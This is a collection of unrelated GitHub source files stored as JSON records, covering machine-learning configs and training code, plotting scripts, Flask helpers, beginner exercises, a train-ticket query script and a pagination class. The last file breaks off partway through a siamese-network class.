+{"seq_id":"22618097764","text":"import torch\nimport os\n\nos.chdir('C:/Users/Fatjon/Documents/AppliedDeepLearning') # change root\nroot_path = os.getcwd()\n\nUSE_CUDA = True #False\nif USE_CUDA:\n USE_CUDA = torch.cuda.is_available()\n\n# training or testing\nTRAIN = False\n# Used for training: creates a new model if true, else it takes the ones based on load_encoder & load_decoder\nNEW_MODEL = False # set this to true if you want to try training and have not downloaded the model from OneDrive\n\n# evaluates on training dataset during training\nEVALUATE_ON_TRAINING_WHILE_TRAINING = True\n\n# evaluates on test/validation dataset during training (if true validation score will be plotted, else the evaluation of the training data)\n# defines if we evaluate on testing dataset during testing\nEVALUATE_ON_TESTING = True\n\n# 1.\tRandomly evaluate some sentences\n# 2.\tCompare the loaded model on test dataset\n# 3.\tEvaluate User Input\n# 4.\tCompare different models on test dataset (needs to let the model train for multiple epochs / iterations and then set the respective MODEL_ITERATIONS_... variables)\nTEST_EVALUATION_MODE = 1\n\n# runs a demo for TEST_EVALUATION_MODE 1-3\nDEMO_MODE = True\n\n# if used with website\nSERVER_MODE = True\n\n\n# ______________________________________________________\nsentence_keyword_data = 'trnTweet-keyword' # train data\nsentence_keyword_data_test = 'testTweet-keyword' # test data\n\n# which model to load\nMODEL_ITERATIONS_VERSION = '195000' # longest trained: 195000 (best correct prediction percentage: 180000)\ndate_folder = '2019-12-18-0349'\n\n# used for MODEL_COMPARISONS_EVALUATION = 4\nMODEL_ITERATIONS_START = 185000\nMODEL_ITERATIONS_END = 195000\nMODEL_ITERATIONS_STEP = 5000\n\n# Load parameters__________________________________\npre_text, post_text = sentence_keyword_data.split('-') # training data loading\npre_test_text, post_test_text = sentence_keyword_data_test.split('-') # testing data loading\n\nencoder_load_path = root_path + '/models/' + date_folder + '/' + MODEL_ITERATIONS_VERSION + 'encoder.pt'\ndecoder_load_path = root_path + '/models/' + date_folder + '/' + MODEL_ITERATIONS_VERSION + 'decoder.pt'\n\n# General parameters________________________________\n\nRANDOM_EVALUATION_AMOUNT = 10\n\nSOS_token = 0 # Start of Sentence has index 0\nEOS_token = 1 # End of Sentence has index 1\n\n# training analysis + visualization\nN_EPOCHS = 1000#0 #200000\nN_SAVE_EVERY = 100#0 #5000\nN_PLOT_EVERY = 100#0 #5000\n\n#\nN_TEST_EVALUATION_EPOCHS = 300\nN_TEST_EVALUATION_SAVE_EVERY = 100\nN_TEST_EVALUATION_PLOT_EVERY = 100\n\n\n\n# Network parameters__________________________________\nLEARNING_RATE = 0.01\n# determines how often the actual values is passed to the Decoder instead of the predicted one\nteacher_forcing_ratio = 0.5\n\noptimizer_conf = 'sgd' #'adam' # sgd works better with 195000\n\n\n# amount of hidden states\nhidden_size = 256\nMAX_LENGTH = 512\n\n\ngradient_clipping = False\ngradient_clipping_value = 5","repo_name":"FatjonZOGAJ/Keyword-Extractor","sub_path":"src/settings_configuration.py","file_name":"settings_configuration.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"25111017601","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport common\n\ntaxyear, baseyear = common.getBaseAndTaxYear()\n\nfinal = pd.read_csv(\"oak park tax history summary.csv\")\nfinal = final[final.Year != 'All']\nfinal = final.set_index(np.array(final.Year).astype(int))\nyears = [str(int) for int in range(baseyear, taxyear+1)]\nfinal = final[final['Year'].isin(years)]\nbaselevy = final.All[baseyear]\nbasecpi = final.CPI[baseyear]\nbaseawi = final.AWI[baseyear]\nlevy = (final.All - baselevy) / baselevy\ncpi = (final.CPI - basecpi) / basecpi\nawi = (final.AWI - baseawi) / baseawi\n\ncpiadjusted = final.All * basecpi / final.CPI\nawiadjusted = final.All * baseawi / final.AWI\n\nplt.close()\nplt.figure(figsize=(7, 6), dpi=200)\nplt.ylabel(\"Percentage increase\")\nplt.title('Comparison of Levy to Wage and Price Increases')\nline1 = plt.plot(levy * 100, color='#dc3912', linewidth=2)\nline2 = plt.plot(cpi * 100, color='#3366cc', linewidth=2)\nline2 = plt.plot(awi * 100, color='#990099', linewidth=2)\nplt.xticks(np.arange(baseyear, taxyear+1, step=5))\nplt.legend(['Levy', 'Prices', 'Wages'])\nplt.grid(axis='y', linewidth=0.5)\n\nplt.savefig(str(taxyear)+'/charts/wage and price comparisons.png')\n\n\n\nplt.close()\n\nplt.figure(figsize=(10, 4), dpi=200)\nplt.ylabel(\"Percentage increase\")\nplt.title('Comparison of Levy to Wage and Price Increases')\nline1 = plt.plot(levy * 100, color='#dc3912', linewidth=3)\nline2 = plt.plot(cpi * 100, color='#3366cc', linewidth=3)\nline2 = plt.plot(awi * 100, color='#990099', linewidth=3)\nplt.xticks(np.arange(baseyear, taxyear+1, step=5))\nplt.legend(['Levy', 'Prices', 'Wages'])\nplt.grid(axis='y', linewidth=0.5)\nplt.subplots_adjust(left=0.2, right=0.8, top=0.75, bottom=0.25)\nplt.savefig(str(taxyear)+'/charts/wage and price comparisons wide.png', pad_inches=2)\n\nplt.close()\n\nplt.figure(figsize=(7, 6), dpi=200)\nplt.ylabel(\"Percentage increase\")\nplt.title('Inflation Adjusted Levy')\nline1 = plt.plot(100 * (cpiadjusted - baselevy) /\n baselevy, color='#dc3912', linewidth=2)\nline2 = plt.plot(100 * (awiadjusted - baselevy) /\n baselevy, color='#3366cc', linewidth=2)\nplt.xticks(np.arange(baseyear, taxyear+1, step=5))\nplt.legend(['Price Adjusted', 'Wage Adjusted'])\nplt.grid(axis='y', linewidth=0.5)\n\nplt.savefig(str(taxyear)+'/charts/wage and price adjusted.png')\n","repo_name":"jvanderberg/oakparktaxdata","sub_path":"scripts/wagepricecomparison.py","file_name":"wagepricecomparison.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"10317881778","text":"# coding: utf-8\nfrom collections import OrderedDict\nfrom functools import wraps\nfrom flask import request, abort\nfrom flask_login import current_user\nfrom datetime import datetime\nfrom auth.models import User, Role\nfrom auth.exceptions import RoleNotFound\n\n\ndef login_permission(permission):\n \"\"\"Check if current_user has a permission to see\"\"\"\n def decorator(function):\n @wraps(function)\n def wrapper(*args, **kwargs):\n user = User.query.get(current_user.get_id())\n try:\n role = Role.search_role(permission, True)\n if user.has_role(role):\n return function(*args, **kwargs)\n except RoleNotFound:\n return abort(403)\n return abort(403)\n return wrapper\n return decorator\n\n\ndef dict_object(query_object):\n result = OrderedDict()\n for key in query_object.__mapper__.c.keys():\n result[key] = getattr(query_object, key)\n\n if isinstance(result[key], datetime):\n result[key] = getattr(query_object, key).strftime('%d/%m/%Y %H:%M:%S')\n return result\n\n\ndef dict_list(query):\n list = []\n for query_object in query:\n list.append(dict_object(query_object))\n return list\n\n\ndef query_object_list(model, paginable=True):\n if paginable:\n # Get Request Args from get /?limit=10&offset=0\n limit = request.args.get('limit', 10, type=int)\n offset = request.args.get('offset', 0, type=int)\n else:\n limit = 10\n offset = 0\n\n query = model.query\n count = query.fast_count()\n data = dict_list(query.order_by(model.id.desc()).limit(limit).offset(offset).all())\n return data, count\n","repo_name":"maxnovais/flapy_auth","sub_path":"auth/views/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"949058312","text":"# adapted from https://github.com/deepmind/bsuite/blob/master/bsuite/baselines/experiment.py\n\nimport dm_env\nfrom bsuite.baselines.base import Agent\n\n\ndef run(agent: Agent,\n environment: dm_env.Environment,\n num_steps: int,\n verbose: bool = False) -> None:\n\n timestep = environment.reset()\n\n for t in range(num_steps):\n # Generate an action from the agent's policy.\n action = agent.select_action(timestep)\n\n # Step the environment.\n new_timestep = environment.step(action)\n\n # Tell the agent about what just happened.\n agent.update(timestep, action, new_timestep)\n\n # Book-keeping.\n timestep = new_timestep\n\n if verbose and (t % agent._train_every == 0):\n bsuite_info = environment.bsuite_info()\n logs = ['step = {}'.format(t)] + [\n '{} = {}'.format(key, item)\n for key, item in bsuite_info.items()\n ]\n print(' | '.join(logs))\n","repo_name":"qdevpsi3/adaptive-policy-iteration","sub_path":"src/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"32579070921","text":"from pathlib import Path\nfrom typing import Tuple, Any\n\nimport numpy as np\nimport torch\nfrom PIL import Image\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import Cityscapes\nimport albumentations as A\nfrom albumentations.pytorch import ToTensorV2\nfrom torch.utils.data import DataLoader, Subset\nfrom torchvision import transforms\n\n\ndef create_loaders(cityscapes_root: str) -> Tuple[DataLoader, DataLoader, DataLoader]:\n train_transforms = A.Compose([\n A.Normalize(),\n # A.RandomBrightnessContrast(),\n # A.Rotate(),\n A.RandomResizedCrop(512, 512, ratio=(1., 1.)),\n A.HorizontalFlip(),\n ToTensorV2(),\n ])\n\n val_transforms = A.Compose([\n A.Normalize(),\n ToTensorV2()\n ])\n\n train_data = CityscapesAlbumentations(cityscapes_root, mode='fine', target_type='semantic',\n split='train', transforms=train_transforms)\n\n val_data = CityscapesAlbumentations(cityscapes_root, mode='fine', target_type='semantic',\n split='val', transforms=val_transforms)\n\n test_data = CityscapesAlbumentations(cityscapes_root, target_type='semantic',\n split='test', transforms=val_transforms)\n\n train_loader = DataLoader(\n train_data,\n batch_size=12,\n shuffle=True,\n num_workers=4,\n drop_last=True,\n pin_memory=True\n )\n\n val_loader = DataLoader(\n val_data,\n batch_size=2,\n shuffle=False,\n num_workers=4,\n drop_last=False,\n pin_memory=True\n )\n\n test_loader = DataLoader(\n test_data,\n batch_size=2,\n shuffle=False,\n num_workers=4,\n drop_last=False,\n pin_memory=True\n )\n\n return train_loader, val_loader, test_loader\n\n\nclass CityscapesAlbumentations(Cityscapes):\n def __getitem__(self, index: int) -> Tuple[Any, Any]:\n \"\"\"\n Args:\n index (int): Index\n Returns:\n tuple: (image, target) where target is a tuple of all target types if target_type is a list with more\n than one item. Otherwise target is a json object if target_type=\"polygon\", else the image segmentation.\n \"\"\"\n\n image = Image.open(self.images[index]).convert('RGB')\n\n targets: Any = []\n for i, t in enumerate(self.target_type):\n if t == 'polygon':\n target = self._load_json(self.targets[index][i])\n else:\n target = Image.open(self.targets[index][i])\n\n targets.append(target)\n\n target = tuple(targets) if len(targets) > 1 else targets[0]\n\n image = np.array(image)\n target = np.array(target)\n if self.transforms is not None:\n augmented = self.transforms(image=image, mask=target)\n image = augmented['image'].float()\n target = augmented['mask'].long()\n\n return image, target","repo_name":"aimotive/Compute-Efficient-Active-Learning","sub_path":"src/data/cityscapes_albumentations.py","file_name":"cityscapes_albumentations.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32295934969","text":"# Max line \nmax_line = 50\nFile = \"C:/Users/Roberta/Desktop/Python/Alice.txt\"\n# Open the file to read\ninf = open(File,'r')\nlis = [] # empty list\nfor line in inf: # read each line of the file\n line = line.strip()\n for word in line.split():\n lis.append(word)# inserts each word into the list\n s=''\n lun = 0\n for l in lis:\n if line == '': # if the line is empty (new paragraph) NON FUNZIONA!\n s+='\\n'+l+' '\n lun = len(l)+1\n lun+= len(l)+1\n if lun>max_line : # if the sum of the rows exceeds the maximum\n s+='\\n'+l+' '\n lun = len(l)+1\n elif lun <= max_line:\n s+=l+' '\n# Close the file\ninf.close()\n# Display the result\nprint(s)","repo_name":"RobRoger97/test_tomorrowdevs","sub_path":"cap7/ex171_consistent_line_lengths.py","file_name":"ex171_consistent_line_lengths.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28891538308","text":" # Задайте последовательность чисел. Напишите программу, которая выведет список неповторяющихся элементов исходной последовательности.\n\n # импорт модуля рандомизатора\nfrom random import randint\n\n# функция герерирования случайного списка из n элементов в диапазоне от -10 до 10\ndef generate_list(n):\n generated_list = []\n for _ in range(n):\n generated_list.append(randint(-10,10))\n return generated_list\n\ndef main():\n # генерируем случайный список из 13 элементов\n my_list = generate_list(13)\n\n # преобразовываем его в множество\n my_set = set(my_list)\n\n # выводим оба\n print(\"Исходная последовательность:\", *my_list)\n print(\"Неповторяющиеся элементы исходной последовательности:\", *my_set)\n\nif __name__ == \"__main__\":\n main()","repo_name":"Axiometer/Python-Seminar4","sub_path":"Task4-3.py","file_name":"Task4-3.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36263214227","text":"\"\"\" \n This file is for evaluating existing models. \n\n usage: evaluate.py [-h] [-k TOP_K] path_model\n\"\"\"\n\nimport argparse\nfrom tensorflow.keras import models\n\nimport preprocess\nimport CNNmodel\nfrom sklearn.model_selection import train_test_split\n\n\ndef get_parser():\n # Parse Arguments\n parser = argparse.ArgumentParser(\n description=\"A program that predicts name of Pokemon given images.\")\n parser.add_argument('path_model',\n help=\"Path to the trained model file\")\n parser.add_argument('-k', '--top_k', type=int,\n help=\"top_k accuracy to be shown when evaluateing model\")\n parser.add_argument('-r', '--random_seed', type=int,\n help=\"Random seed to be used to split train and test set\")\n return parser\n\n\ndef main(arg_list=None):\n # Initialize\n parser = get_parser()\n if arg_list: # Called from another script\n args = parser.parse_args(arg_list)\n else: # Called from command line\n args = parser.parse_args()\n\n path_model = args.path_model\n top_k = args.top_k if args.top_k else None\n random_seed = args.random_seed if args.random_seed else None\n\n # Load trained model\n model = models.load_model(path_model)\n model.summary()\n\n # Load image from dataset\n X, y, label_name, num_classes = preprocess.load_from_dataset(\n './dataset3', './label_name.json', size_of_image=128)\n # Preprocess X\n X = preprocess.preprocess(X, size_of_image=128)\n # Split into train and test sets\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.2, random_state=random_seed, shuffle=True, stratify=y)\n\n # Evaluate Model\n CNNmodel.evaluate_model(model, X_test,\n y_test, label_name, top_k=top_k, print_acc_pokemon=True)\n\n########################################################################\nif __name__ == \"__main__\":\n main()\n","repo_name":"lapraskwan/Generation-1-Pokemon-Classifier","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5352822345","text":"\ndef getparent(domain):\n z = domain\n if domain[-1] != \".\":\n z = domain + \".\"\n sp = z.split(\".\")\n parent = ''\n\n if len(sp) > 3:\n for k in range(1, len(sp) - 1):\n # print(k)\n parent = parent + \".\" + sp[k]\n elif len(sp) == 3:\n parent = sp[-2]\n return parent\n elif len(sp) == 2:\n parent = domain + \".\"\n return parent\n\n try:\n if parent[0] == \".\":\n parent = parent[1:]\n except:\n print(\"stop here at getParent\")\n\n return parent\n\n","repo_name":"SIDN/CycleHunter","sub_path":"domutils.py","file_name":"domutils.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"82"} +{"seq_id":"38975562916","text":"from init import crit\nfrom init import critclass\nfrom init import usesql\nall=crit.findall()#页码为可选参数\nslelectbyid=crit.findbyid(1)#单条件查询ces完成\ncrit.insert(critclass.crit(contet=\"232\" ))#添加完成,需要指定前缀,没有的字段留空\nselectad=crit.findand(critclass.crit(c_id=1,id=1))\nlike=selectlike=crit.findbycontetlike(\"%s%\",)#模糊查询\nlikepage=selectlike=crit.findbycontetlike(\"%s%\",0,4)#分页单值分页一样,页码,可以为可选参数\nupdate=crit.update(critclass.crit(c_id=1,contet=\"ds\"))#修改,主键列id,一定不能缺少\nmax=crit.max(\"id\")#聚合函数\n#使用你的sql,当初版本没注入事务,如果要使用事务,自己处理事务\n#try expct 处理,,自己commit,查询不用,或者你直接使用库包\nsql=\"select * from crit where id=#\"\nlist1=[]\nlist1.append(1)\nc=usesql.findall(sql,list1)\nprint(c)\n\n","repo_name":"guoqiumei/pybatis","sub_path":"init/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28026073766","text":"from setuptools import setup, find_packages\r\n\r\nwith open('README.md') as readme_file:\r\n README = readme_file.read()\r\n\r\nsetup_args = dict(\r\n name='autokattis',\r\n version='1.4.6',\r\n description='Updated Kattis API wrapper',\r\n long_description_content_type=\"text/markdown\",\r\n long_description=README,\r\n license='MIT',\r\n packages=find_packages(),\r\n author='Russell Saerang',\r\n author_email='russellsaerang@gmail.com',\r\n keywords=['Kattis'],\r\n install_requires = [\r\n 'requests',\r\n 'beautifulsoup4',\r\n 'lxml',\r\n 'pandas',\r\n 'matplotlib',\r\n 'seaborn',\r\n 'thefuzz',\r\n 'thefuzz[speedup]',\r\n ],\r\n url='https://github.com/RussellDash332/autokattis',\r\n download_url='https://pypi.org/project/autokattis/'\r\n)\r\n\r\nif __name__ == '__main__':\r\n setup(**setup_args, include_package_data=True)","repo_name":"RussellDash332/autokattis","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"22101418785","text":"A = int(input(\"Cual es la tipo de enfermedad que tienes: \"))\nB = int(input(\"Cual es la edad del pasiente: \"))\nC = int(input(\"Cuantos dias estuviste en el hospital: \"))\n\nif A == 1:\n COSTOT = C*25\n\nelif A == 2:\n COSTOT = C*16\n\nelif A == 3:\n COSTOT = C*20\n\nelif A == 4:\n COSTOT = C*32\n\nif (B >= 14 and B <= 22):\n COSTOT = COSTOT*1.10\nprint(f\"Su edad es {B} y su tiempo de hospitalización es {C} dias y debe pagar ${COSTOT}\")\n","repo_name":"JaimeOmar1904/CYPJaimeRM","sub_path":"libro/problemas_resueltos/capitulo2/problema2_14.py","file_name":"problema2_14.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22416159552","text":"# !/usr/bin/python3 \n\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nimport sys\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nresult = 'result.txt'\nresult = open(result, 'w+')\n\n \ndef make_address_dic():\n address_file = 'address.txt'\n address_dic = {}\n for line in open(address_file).readlines():\n line = line.split(':')\n assert len(line) == 2\n code = line[1].strip()\n address = line[0].strip()\n address_dic[code] = address\n\n return address_dic\n\n\ndef combine_url(begin, end, time):\n url = \"https://kyfw.12306.cn/otn/lcxxcx/query?purpose_codes=ADULT&queryDate=2017-01-{0}&from_station={1}&to_station={2}\".format(time, begin, end)\n return url\n\n\ndef print_train_no(r):\n for t in r:\n print(t['station_train_code'])\n\n\ndef test_two_city_have_seats(city1, city2, time):\n url = combine_url(begin=city1, end=city2, time=time)\n r = requests.get(url, verify=False)\n\n try:\n r.raise_for_status()\n except Exception as e:\n print('网络错误')\n print(e)\n \n JSON = r.json()['data']\n if 'datas' in JSON:\n seats = filter(lambda r: have_seats(r), JSON['datas'])\n if len(list(seats)) == 0:\n #print('no')\n return False\n else:\n return seats\n return seats\n return False\n \n\ndef have_seats(data):\n seats = ('yw_num', 'ze_num', 'zy_num')\n have = False\n for s in seats:\n if str(data[s]).isdigit():\n have = True\n break\n return have\n\n\ndef test_two_city_could_arrive(START, TO, time):\n start_code = from_city_get_code(START)\n to_code = from_city_get_code(TO)\n directed = test_two_city_have_seats(start_code, to_code, time)\n if not directed or len(list(directed)) == 0:\n find_transform(start_code, to_code, time)\n else:\n print(\"%s ====> %s\" % (START, TO))\n\n\ndef find_transform(START, TO, time):\n address_list = make_address_dic()\n for city in address_list:\n if test_two_city_have_seats(START, city, time):\n if test_two_city_have_seats(city, TO, time) or test_two_city_have_seats(city, TO, time+1):\n line = \"\\n%s: %s ===> %s ==> %s\" % (str(time), address_list[START], address_list[city], address_list[TO])\n print(line)\n result.write(line)\n \n \ndef from_city_get_code(city):\n address_dict = make_address_dic()\n for code in address_dict:\n if address_dict[code] == city:\n return code\n else:\n return None\n\n\nstart = input('input start location(eg. 杭州): ____ \\b\\b\\b\\b')\nend = input('input destination (eg. 成都): ____ \\b\\b\\b\\b')\n\nlastest = input('请输出最晚乘车时间: 一月__日\\b\\b\\b')\n\nprint('From {0} ==> {1}, the lastest data is January {2}'.format(start, end, lastest))\n\nfor t in range(20, 25):\n test_two_city_could_arrive(start, end, t)\n","repo_name":"fortyMiles/get_12306_transform_train","sub_path":"get_tickets.py","file_name":"get_tickets.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32415131648","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport socket\n\nhost = \"127.0.0.1\"\nport = 6666\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect((host, port))\n\nreq = b\"{'command': 'getUserGroups', 'args': {'user_id': 'd48cdb48-15e0-49e2-8304-e4e0589f6319'}}\\n\"\nprint(\"Sending : \", req)\nclient.send(req)\n\nresponse = client.recv(4096)\nprint(response)\n","repo_name":"Projet-Java-ENSTA-Bretagne/Projet-Conception-Logicielle","sub_path":"server/src/test/resources/getUserGroups.py","file_name":"getUserGroups.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1524799099","text":"import math\n\nimport handlers\nimport cherrypy\n\nclass Pager(object):\n \"\"\"An abstract class for pagination.\n\n A new pager should be initialized for each page that is to be displayed. It\n determines which elements will be displayed and renders the pagination\n control.\n \"\"\"\n\n def __init__(self, page, href_pattern, per_page=10, max_pages=15):\n \"\"\"Create a new Pager.\n\n Arguments:\n page: The page of entities to get. One-based.\n href_pattern: The href for links to a given page. This should use \"%d\"\n where the page number should go.\n per_page: The number of entities to display on each page.\n max_pages: The maximum number of pages to display individually in the\n pagination control.\n \"\"\"\n\n self._page = page\n self._href_pattern = href_pattern\n self._per_page = per_page\n self._max_pages = max_pages\n\n # If there are many pages, we don't want to individually list all of\n # them. These are the minimum and maximum page numbers that we do want\n # to list.\n min_page_to_list = self._page - self._max_pages / 2\n max_page_to_list = self._page + self._max_pages / 2\n\n # If we're close enough to the first page that we show fewer than\n # `max_pages/2` pages to the left of the current page, re-allocate the\n # extra space to the right.\n if min_page_to_list < 1:\n max_page_to_list += 1 - min_page_to_list\n min_page_to_list = 1\n\n max_item_to_count = max_page_to_list * per_page\n\n # Count one extra page so we can know if there are more pages to the\n # right of those we're displaying.\n count = self._get_count(max_item_to_count)\n self._more_pages = count > max_item_to_count\n if self._more_pages:\n count -= 1\n else:\n # As above, if we're close enough to the last page, re-allocate\n # extra space to the left.\n min_page_to_list -= (max_item_to_count - count) / per_page\n min_page_to_list = max(1, min_page_to_list)\n\n self._min_page = min_page_to_list\n self._max_page = max_page_to_list\n self._page_count = int(math.ceil(float(count) / self._per_page))\n\n def _get_count(self, max_item_to_count):\n \"\"\"Gets the total number of results for the query.\n\n Arguments:\n max_item_to_count: The maximum number of results to count. If a\n number larger than this is returned, then the pager will show that\n there are more results beyond the known count using \"...\".\n \"\"\"\n raise NotImplementedError(\"Subclass must implement _get_count()\")\n\n def render_pagination(self):\n \"\"\"Return the HTML for the pagination control.\"\"\"\n return handlers.render(\"pagination\", page_links=self._page_links,\n layout=False)\n\n @property\n def page_count(self):\n \"\"\"The total number of pages.\"\"\"\n return self._page_count\n\n @property\n def prev_url(self):\n \"\"\"The URL for the previous page, or None if this is the first page.\"\"\"\n if self._page == 1: return None\n return cherrypy.request.base + (self._href_pattern % (self._page - 1))\n\n @property\n def next_url(self):\n \"\"\"The URL for the next page, or None if this is the last page.\"\"\"\n if self._page == self._page_count: return None\n return cherrypy.request.base + (self._href_pattern % (self._page + 1))\n\n @property\n def _page_links(self):\n \"\"\"Return a list of Link objects for the pagination control.\"\"\"\n yield Pager.Link(self._href_pattern, \"«\", self._page - 1,\n disabled=(self._page == 1))\n\n if self._min_page != 1:\n yield Pager.Link(self._href_pattern, \"...\", self._min_page - 1)\n\n for i in xrange(self._min_page, self._page_count + 1):\n yield Pager.Link(self._href_pattern, str(i), i,\n active=(i == self._page))\n\n if self._more_pages:\n yield Pager.Link(self._href_pattern, \"...\", self._max_page + 1)\n\n yield Pager.Link(self._href_pattern, \"»\", self._page + 1,\n disabled=(self._page == self._page_count))\n\n class Link(object):\n \"\"\"An object representing a single link in the pagination control.\"\"\"\n\n def __init__(self, href_pattern, text, page, active=False,\n disabled=False):\n \"\"\"Create a new page link.\n\n Arguments:\n href_pattern: The pattern used to generate a link to this page.\n text: The text of the link.\n page: The page number that the link points to.\n active: Whether the link represents the current page.\n disabled: Whether the link is invalid.\n \"\"\"\n\n self.href_pattern = href_pattern\n self.text = text\n self.page = page\n self.state = None\n if active: self.state = \"active\"\n if disabled: self.state = \"disabled\"\n\n @property\n def href(self):\n \"\"\"The location of the link.\"\"\"\n if self.state is not None: return None\n return self.href_pattern % self.page\n\nclass QueryPager(Pager):\n \"\"\"A class for paginating a model.\n\n A new pager should be initialized for each page that is to be displayed. It\n determines which entities will be displayed and renders the pagination\n control.\n \"\"\"\n\n def __init__(self, page, href_pattern, query, per_page=10, max_pages=15):\n \"\"\"Create a new QueryPager.\n\n Arguments:\n page: The page of entities to get. One-based.\n href_pattern: The href for links to a given page. This should use \"%d\"\n where the page number should go.\n query: The Query object for the entities to paginate.\n per_page: The number of entities to display on each page.\n max_pages: The maximum number of pages to display individually in the\n pagination control.\n \"\"\"\n\n self._query = query\n super(QueryPager, self).__init__(page, href_pattern, per_page=per_page,\n max_pages=max_pages)\n\n def get_items(self):\n \"\"\"Return a list of entities for the current page.\"\"\"\n offset = (self._page - 1) * self._per_page\n return self._query.fetch(self._per_page, offset)\n\n def _get_count(self, max_item_to_count):\n return self._query.count(limit=max_item_to_count + 1)\n","repo_name":"dart-archive/pub-dartlang","sub_path":"app/handlers/pager.py","file_name":"pager.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"} +{"seq_id":"70694362510","text":"import tensorflow as tf\nimport numpy as np\nimport keras\nimport keras.backend as K\nfrom keras.layers import (Activation, Dense, Flatten, Lambda, Conv2D, Input,\n MaxPooling2D, Reshape, Concatenate, Cropping2D, Add,\n Dropout)\nfrom keras.preprocessing.image import ImageDataGenerator\n\nfrom stn.spatial_transformer import SpatialTransformer\nfrom stn.conv_model import locnet_v3\n\n# This class is adapted from https://stanford.edu/~shervine/blog/keras-how-to-generate-data-on-the-fly\n\nimport numpy as np\nimport keras\n\n\nclass DataGenerator(keras.utils.Sequence):\n \"\"\"\n Generates data for Keras\n\n Args:\n list_IDs: (list of str) list of paths to file to load\n labels: (list of int) list of labels correspond to \n \"\"\"\n\n def __init__(self, X, y, batch_size=128, shuffle=True):\n 'Initialization'\n self.batch_size = batch_size\n self.X = X\n self.y = y\n self.shuffle = shuffle\n self.on_epoch_end()\n\n def __len__(self):\n 'Denotes the number of batches per epoch'\n return int(np.floor(len(self.X) / self.batch_size))\n\n def __getitem__(self, index):\n 'Generate one batch of data'\n # Generate indexes of the batch\n indexes = self.indexes[index*self.batch_size:(index + 1)*self.batch_size]\n\n # Find list of IDs\n list_IDs_temp = [self.list_IDs[k] for k in indexes]\n\n # Generate data\n X, y = self.__data_generation(list_IDs_temp)\n\n return X, y\n\n def on_epoch_end(self):\n 'Updates indexes after each epoch'\n self.indexes = np.arange(len(self.X))\n if self.shuffle == True:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, list_IDs_temp):\n \"\"\"\n Generates data containing batch_size samples \n X : (n_samples, *dim)\n \"\"\"\n # Initialization\n X = np.empty((self.batch_size, *self.dim))\n y = np.empty((self.batch_size), dtype=np.int32)\n\n # Generate data\n for i, ID in enumerate(list_IDs_temp):\n # TODO: Load samples from files\n X[i,] = np.load('data/' + ID + '.npy')\n\n # Store class\n y[i] = self.labels[ID]\n\n return X, y\n\n\nclass SiameseNetwork(object):\n\n def __init__(self, scope, input_shape, output_shape=100, margin=1,\n learning_rate=1e-3, \n reg=0, load_model=True, save_path=\"model/siam.h5\"):\n \"\"\"\n Args:\n output_shape: (int) embedding dimension\n \"\"\"\n\n self.scope = scope\n self.save_path = save_path\n self.output_shape = output_shape\n self.height, self.width, self.channel = input_shape\n\n # Create placeholders\n self.x1 = tf.placeholder(tf.float32, [None, ] + input_shape, name=\"x1\")\n self.x2 = tf.placeholder(tf.float32, [None, ] + input_shape, name=\"x2\")\n # y is 1 if x1 and x2 are from the same class. y is 0 otherwise\n self.y = tf.placeholder(tf.float32, [None, 1], name=\"y\")\n \n # =========================== Build model =========================== #\n inpt = Input(shape=input_shape)\n \n with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE):\n\n u = Conv2D(32, (3, 3), activation=\"relu\")(inpt)\n u = Conv2D(64, (3, 3), activation=\"relu\")(u)\n # u = Conv2D(128, (3, 3), activation=\"relu\")(u)\n u = Flatten()(u)\n # u = Dense(1024, activation=\"relu\")(u)\n # u = Dropout(0.5)(u)\n u = Dense(256, activation=\"relu\")(u)\n u = Dropout(0.25)(u)\n u = Dense(output_shape, activation=\"relu\")(u)\n\n self.model = keras.models.Model(inputs=inpt, outputs=u)\n self.embed1 = self.model(self.x1)\n self.embed2 = 